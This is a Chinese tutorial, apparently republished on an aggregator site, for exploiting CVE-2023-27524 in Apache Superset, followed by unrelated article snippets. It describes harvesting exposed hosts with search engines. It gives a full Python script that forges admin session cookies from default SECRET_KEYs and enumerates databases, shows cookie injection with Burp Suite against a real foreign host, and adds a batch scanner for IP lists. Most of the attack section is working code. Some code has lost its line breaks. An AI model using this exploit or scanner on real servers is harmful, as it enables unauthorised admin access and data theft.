实战-ApacheSuperset未授权访问漏洞(CVE-2023-27524)

声明:

该文章仅供网络安全领域的学习使用,请勿利用文章内的相关技术从事任何非法行为。

测试资产为国外 IP,存在漏洞的 IP 地址已做打码处理。

我们只进行 poc,请勿进行任何非法入侵和攻击。

知攻善防,遇强则强。

开发和安全缺一不可!

目录

目录

一、Apache Superset 简介 

二、CVE-2023-27524 漏洞介绍

三、影响范围

四、漏洞实战

1、资产收集

2、漏洞检测

3、漏洞利用

五、总结修复

六、批量扫描


一、Apache Superset 简介 

Apache Superset 是一个开源的现代数据探索和可视化平台

二、CVE-2023-27524 漏洞介绍

 Apache Superset 是一种广泛使用的数据可视化和探索开源工具,已被确定存在潜在的安全漏洞,可能导致身份验证绕过和远程代码执行 (RCE),这些漏洞可能使恶意行为者能够获得目标服务器上的管理权限,从而使他们能够收集用户凭据并可能危及数据。

三、影响范围

Apache Superset 2.0.1 及之前的版本

四、漏洞实战

1、资产收集

使用黑暗搜索引擎(fofa、zoomeye、鹰图等)

Apache Superset

导出资产数据,我们只使用它的IP即可

2、漏洞检测

检测脚本python源码:

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)SECRET_KEYS = [b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1b'thisISaSECRET_1234',                            # deployment templateb'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentationb'TEST_NON_DEV_SECRET'                            # docker compose
]def main():parser = argparse.ArgumentParser()parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)args = parser.parse_args()try:u = args.url.rstrip('/') + '/login/'headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'}resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code != 200:print(f'Error retrieving login page at {u}, status code: {resp.status_code}')returnsession_cookie = Nonefor c in resp.cookies:if c.name == 'session':session_cookie = c.valuebreakif not session_cookie:print('Error: No session cookie found')returnprint(f'Got session cookie: {session_cookie}')try:decoded = session.decode(session_cookie)print(f'Decoded session cookie: {decoded}')except:print('Error: Not a Flask session cookie')returnmatch = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)if match:version = match.group(1)else:version = 'Unknown'print(f'Superset Version: {version}')for i, k in enumerate(SECRET_KEYS):cracked = session.verify(session_cookie, k)if cracked:breakif not cracked:print('Failed to crack session cookie')returnprint(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')try:user_id = int(args.id)except:user_id = args.idforged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)print(f'Forged session cookie for user {user_id}: {forged_cookie}')if args.validate:validated = Falsetry:headers['Cookie'] = f'session={forged_cookie}'print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')sleep(args.timeout)resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code == 302:print(f'Got 302 on login, forged cookie appears to have been accepted')validated = Trueelse:print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')except Exception as e_inner:print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')if not validated:returnprint('Enumerating databases')for i in range(1, 101):database_url_base = args.url.rstrip('/') + '/api/v1/database'try:r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)if r.status_code == 200:result = r.json()['result'] # validate response is JSONname = result['database_name']print(f'Found database {name}')elif r.status_code == 404:print(f'Done enumerating databases')break # no more databaseselse:print(f'Unexpected error: status code={r.status_code}')breakexcept Exception as e_inner:print(f'Unexpected error: {e_inner}')breakexcept Exception as e:print(f'Unexpected error: {e}')if __name__ == '__main__':main()

用法:

在脚本位置打开 cmd,使用 python 命令执行该脚本,使用 -u 参数指定测试的 url

(注意:url 需要加上 http:// 或者对应端口)

对于存在该漏洞的网站,我们就会得到一个cookie

3、漏洞利用

针对同一个 URL ,每次执行得到的 cookie 值是不一样、随机的

比如我们现在得到了一个 cookie 值

cookie:session=eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZantOw.o2wwp8nNjVZKBCDr2fyoki_k9OY

然后我们去访问

http://存在漏洞的主机IP/login/

使用 burpsuite 抓包拦截,将 cookie 添加进去

然后放包,并且关掉 burpsuite 的拦截

查看页面回显,直接进入到 Apache Superset 的管理后台

查看它的信息

不要发到重发器,我们直接抓包后修改 cookie 放包即可,这里要的就是302重定向。

五、总结修复

安装官方发布的升级修复补丁

六、批量扫描

对原有脚本进行一定修改

用法及说明:

使用 -f 参数指定一个 txt 文档,里面为所有的目标 IP

同样 -v 参数可以验证登录,枚举数据库信息

-t 参数指定进入等待时间

每条扫描结果间使用分隔符隔开

每条结果前会显示对应请求的 URL

去掉了原有的 -u 和 --id 参数

自动为扫描结果分配 id

附上修改后的脚本:

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
import osurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)SECRET_KEYS = [b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1b'thisISaSECRET_1234',                            # deployment templateb'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentationb'TEST_NON_DEV_SECRET'                            # docker compose
]def main():parser = argparse.ArgumentParser()parser.add_argument('--file', '-f', help='包含 IP 列表的文本文件的路径', required=True)parser.add_argument('--validate', '-v', help='验证登录', required=False, action='store_true')parser.add_argument('--timeout', '-t', help='在使用伪造的会话 cookie 之前等待的时间,默认为 5 秒', required=False, type=int, default=5)args = parser.parse_args()try:with open(args.file, 'r') as file:ip_list = file.read().splitlines()for i, ip in enumerate(ip_list, start=1):args.url = f'http://{ip}'process_ip(args, ip, i)print('-' * 150)  # 添加的分隔符except Exception as e:print(f'发生意外错误:{e}')def process_ip(args, ip, user_id):try:u = args.url.rstrip('/') + '/login/'headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'}resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code != 200:print(f'在 {u} 处获取登录页面时发生错误,状态码:{resp.status_code}')returnsession_cookie = Nonefor c in resp.cookies:if c.name == 'session':session_cookie = c.valuebreakif not session_cookie:print(f'对 {ip} 的错误:未找到会话 cookie')returnprint(f'{u} 获取到会话 cookie:{session_cookie}')try:decoded = session.decode(session_cookie)print(f'{u} 解码后的会话 cookie:{decoded}')except:print(f'{u} 错误:不是 Flask 会话 cookie')returnmatch = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)if match:version = match.group(1)else:version = '未知'print(f'{u} Superset 版本:{version}')for i, k in enumerate(SECRET_KEYS):cracked = session.verify(session_cookie, k)if cracked:breakif not cracked:print(f'{u} 无法破解会话 cookie')returnprint(f'{u} 对 CVE-2023-27524 漏洞的敏感 - 使用默认的 SECRET_KEY:{k}')forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)print(f'{u} 为用户 {user_id} 伪造的会话 cookie:{forged_cookie}')if args.validate:validated = Falsetry:headers['Cookie'] = f'session={forged_cookie}'print(f'{u} 在使用伪造的 cookie 之前等待 {args.timeout} 秒以考虑时间漂移...')sleep(args.timeout)resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code == 302:print(f'{u} 在登录时得到 302,伪造的 cookie 似乎已被接受')validated = Trueelse:print(f'{u} 在登录时得到状态码 {resp.status_code},而不是预期的重定向 302。伪造的 cookie 似乎无效。请重新检查用户 ID。')except Exception as e_inner:print(f'{u} 在登录时发生错误 {e_inner},而不是预期的重定向 302。伪造的 cookie 似乎无效。请重新检查用户 ID。')if not validated:returnprint(f'{u} 正在枚举数据库')for i in range(1, 101):database_url_base = args.url.rstrip('/') + f'/api/v1/database'try:r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)if r.status_code == 200:result = r.json()['result']  # 验证响应是否为 JSONname = result['database_name']print(f'{u} 找到数据库 {name}')elif r.status_code == 404:print(f'{u} 完成枚举数据库')break  # 没有更多的数据库else:print(f'{u} 意外错误:状态码={r.status_code}')breakexcept Exception as e_inner:print(f'{u} 意外错误:{e_inner}')breakexcept Exception as e:print(f'{u} 意外错误:{e}')if __name__ == '__main__':main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/633803.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MYSQL索引实例

1.用SQL语句创建学生表student&#xff0c;定义主键&#xff0c;姓名不能重名&#xff0c;性别只能输入男或女&#xff0c;所在系的默认值是“计算机”。 mysql> create table student(-> Sno int primary key auto_increment,-> Sname varchar(255) not null unique…

MacOS受欢迎的数据库开发工具 Navicat Premium 15 中文版

Navicat Premium 15 Mac是一款数据库管理工具&#xff0c;提供了一个全面的解决方案&#xff0c;用于连接、管理和维护各种数据库系统。以下是Navicat Premium 15 Mac的一些主要功能和特点&#xff1a; 软件下载&#xff1a;Navicat Premium 15 中文版下载 多平台支持&#xff…

【PyTorch】PyTorch之Tensors索引切片篇

文章目录 前言一、ARGWHERE二、CAT、CONCAT、CONCATENATE三、CHUNK四、GATHER五、MOVEDIM和MOVEAXIS六、PERMUTE七、RESHAPE八、SELECT九、SPLIT十、SQUEEZE十一、T十二、TAKE十三、TILE十四、TRANSPOSE十五、UNBIND十六、UNSQUEEZE十七、WHERE 前言 介绍常用的PyTorch之Tenso…

第15届蓝桥杯嵌入式省赛准备第二天总结笔记(使用STM32cubeMX创建hal库工程+按键输入)

一.查看电路图 按键是使用的PB0,PB1,PB2,PA0四个引脚&#xff0c;然后使用CubeMX配置引脚&#xff0c;4个脚都配置为输入模式和上拉。 程序生成之后把不用的删掉&#xff0c;需要的留下&#xff0c;这里我把函数名改了。 然后写按键扫描读取程序&#xff0c;这里参考的正点原子…

Vue中ElementUI结合transform使用时,修复el-select弹框定位不准确问题

在大屏开发中&#xff0c;比如将1920*1080放到更大像素&#xff08;3500*2400&#xff09;大屏上演示&#xff0c;此时需要使用到transform来对页面进行缩放&#xff0c;但是此时发现弹框定位出错问题&#xff0c;无法准备定位到实际位置。之前写过一篇讲解的是ElementUI中的&l…

【Android】自定义View onDraw()方法会调用两次

问题 自定义了View后&#xff0c;在构造函数中设置画笔颜色&#xff0c;发现它没起效&#xff0c;但是在onDraw()里设置颜色就会起效&#xff0c;出问题的代码如下&#xff1a; public RoundSeekbarView(Context context, Nullable AttributeSet attrs) {super(context, attrs…

视频美颜SDK与人工智能的结合:技术突破与挑战

本篇文章&#xff0c;小编将与大家共同探讨美颜SDK与人工智能结合背后的技术原理、创新应用以及面临的挑战。 一、技术原理&#xff1a;人工智能在美颜中的应用 视频美颜SDK通过整合深度学习和计算机视觉技术&#xff0c;能够更准确地识别人脸特征、肤色、表情等信息&#xff…

深入理解傅里叶变换

目录 1. 什么是傅里叶变换 2. 为什么要分解为正弦波的叠加参考资料 1. 什么是傅里叶变换 高等数学中一般是从周期函数的傅里叶级数开始介绍的&#xff0c;这里也不例外。 简单的说&#xff0c;从高中我们就学过一个理想的波可以用三角函数来描述&#xff0c;但是实际上的波可…

MAC iterm 显示git分支名

要在Mac上的iTerm中显示Git分支名&#xff0c;您需要使用一个名为“Oh My Zsh”的插件。Oh My Zsh是一个流行的Zsh框架&#xff0c;它提供了许多有用的功能和插件&#xff0c;包括在终端中显示Git分支名。 以下是在iTerm中显示Git分支名的步骤&#xff1a; 1、安装Oh My Zsh&…

Git入门详细教程

一、Git概述&#x1f387; Git官网 Git是一个开源的分布式版本控制系统&#xff0c;用于跟踪文件的变化和协作开发。它允许多个开发者在同一项目中共同工作&#xff0c;并能够有效地管理代码的版本和历史记录。Git可以帮助开发团队更好地协作&#xff0c;追踪代码变更&#xf…

什么是比特币?

比特币 比特币 &#xff08;英语&#xff1a;Bitcoin&#xff0c;缩写&#xff1a;BTC &#xff09;是一种基于 去中心化&#xff0c;采用 点对点网络&#xff0c;开放源代码&#xff0c;以 区块链 作为底层技术的 加密货币。比特币由 中本聪&#xff08;Satoshi Nakamoto&…

Nginx前后端分离部署springboot和vue项目

Nginx前后端分离部署springboot和vue项目&#xff0c;其实用的比较多&#xff0c;有的小伙伴对其原理和配置还一知半解&#xff0c;现在就科普一下&#xff1a; 1、准备后端项目 后端工程无论是微服务还是单体&#xff0c;一般最终都是jar启动&#xff0c;关键点就是把后端服…

go mock模拟接口的实现

简介 mock翻译过来是‘模拟’的意思&#xff0c;也就是模拟接口返回的信息&#xff0c;用已有的信息替换接口返回的信息&#xff0c;从而提供仿真环境&#xff0c;实现模拟数据下的功能测试&#xff1b; 在多人合作编码时&#xff0c;你写的一个函数func DoSth(People)用到了别…

【备战蓝桥杯】图论重点 敲黑板啦!

蓝桥杯备赛 | 洛谷做题打卡day11 文章目录 蓝桥杯备赛 | 洛谷做题打卡day11杂务题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 题解代码我的一些话 杂务 题目描述 John 的农场在给奶牛挤奶前有很多杂务要完成&#xff0c;每一项杂务都需要一定的时间来完成它。比如&a…

c#让三个线程按照顺序执行

现实的例子 三个线程都是while&#xff08;true&#xff09;的循环体 A线程&#xff1a;采集数据 B线程&#xff1a;画曲线 C线程&#xff1a;存数据库 AutoResetEvent类 AutoResetEvent 是一个线程同步的类&#xff0c;它提供了一种机制&#xff0c;允许一个或多个线程等待直…

Unity之四元数

欧拉角 万向节死锁 四元数是什么 Unity中四元数的初始化 四元数和欧拉角的互相转换 补充 四元数相乘代表旋转四元数

Linux Shell脚本入门

目录 介绍 编写格式与执行方式 Shell脚本文件编写规范 脚本文件后缀名规范 首行格式规范 注释格式 shell脚本HelloWord入门案例 需求 效果 实现步骤 脚本文件的常用执行三种方式 介绍 3种方式的区别 小结 多命令处理 Shell变量 环境变量 目标 Shell变量的介绍 变量类型 系统环境…

计算机毕业设计 基于SpringBoot的红色革命文物征集管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

学习JavaEE的日子 day12 构造方法 类的制作

Day12 需求&#xff1a;创建人类的对象&#xff0c;并操作对象 分析&#xff1a; 人类 - Person 属性&#xff1a;name、sex、age 方法&#xff1a;eat、sleep 场景&#xff1a;创建多个对象&#xff0c;去操作对象 //测试类&#xff1a;该类中有main方法&#xff0c;测试我们写…

F - Digital Roots HUOJ

题目 The digital root of a positive integer is found by summing the digits of the integer. If the resulting value is a single digit then that digit is the digital root. If the resulting value contains two or more digits, those digits are summed and the pro…